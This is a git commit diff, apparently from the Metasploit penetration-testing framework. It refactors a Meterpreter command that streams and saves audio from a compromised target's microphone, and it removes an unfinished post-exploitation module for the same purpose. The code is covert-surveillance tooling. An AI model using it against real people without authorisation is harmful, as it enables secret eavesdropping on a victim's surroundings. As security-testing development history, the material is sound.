Grab last bit of audio from target when done.

Also remove module that needs work (we can create later).
bug/bundler_fix
Pearce Barry 2017-06-30 10:56:49 -05:00
parent 48e7e8397e
commit d2098137a9
No known key found for this signature in database
GPG Key ID: 0916F4DEA5C5DE0A
2 changed files with 11 additions and 53 deletions

View File

@ -91,6 +91,15 @@ module Rex
end
def cmd_mic_start(*args)
get_data = lambda do |channel, file|
data = channel.read(65536)
if data
::File.open(file, 'a') do |f|
f.write(data)
end
data = nil
end
end
device_id = 1
duration = 1800
saved_audio_path = Rex::Text.rand_text_alpha(8) + ".wav"
@ -138,19 +147,14 @@ module Rex
audio_file_wave_header(11025, 1, 16, 2000000000).each { |e| e.write(outfd) }
end
while client do
get_data.call(channel, saved_audio_path)
Rex::sleep(0.5)
data = channel.read(65536)
if data
::File.open(saved_audio_path, 'a') do |f|
f.write(data)
end
data = nil
end
end
end
rescue ::Timeout::Error
ensure
if mic_started
get_data.call(channel, saved_audio_path)
client.mic.mic_stop
print_status("Streaming stopped.")
end

View File

@ -1,46 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Manage Stream Microphone',
'Description' => %q{
This module will enable and stream your target's microphone.
Please use Java meterpreter to be able to use this feature.
},
'License' => MSF_LICENSE,
'Author' => [ 'dmohanty-r7'],
'Platform' => %w{ linux osx win },
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
#OptInt.new('DURATION', [false, 'Number of seconds to record', 5])
], self.class)
end
def rhost
session.sock.peerhost
end
def run
if client.nil?
print_error("Invalid session ID selected. Make sure the host isn't dead.")
return
end
data = session.webcam.record_mic(datastore['DURATION'])
end
end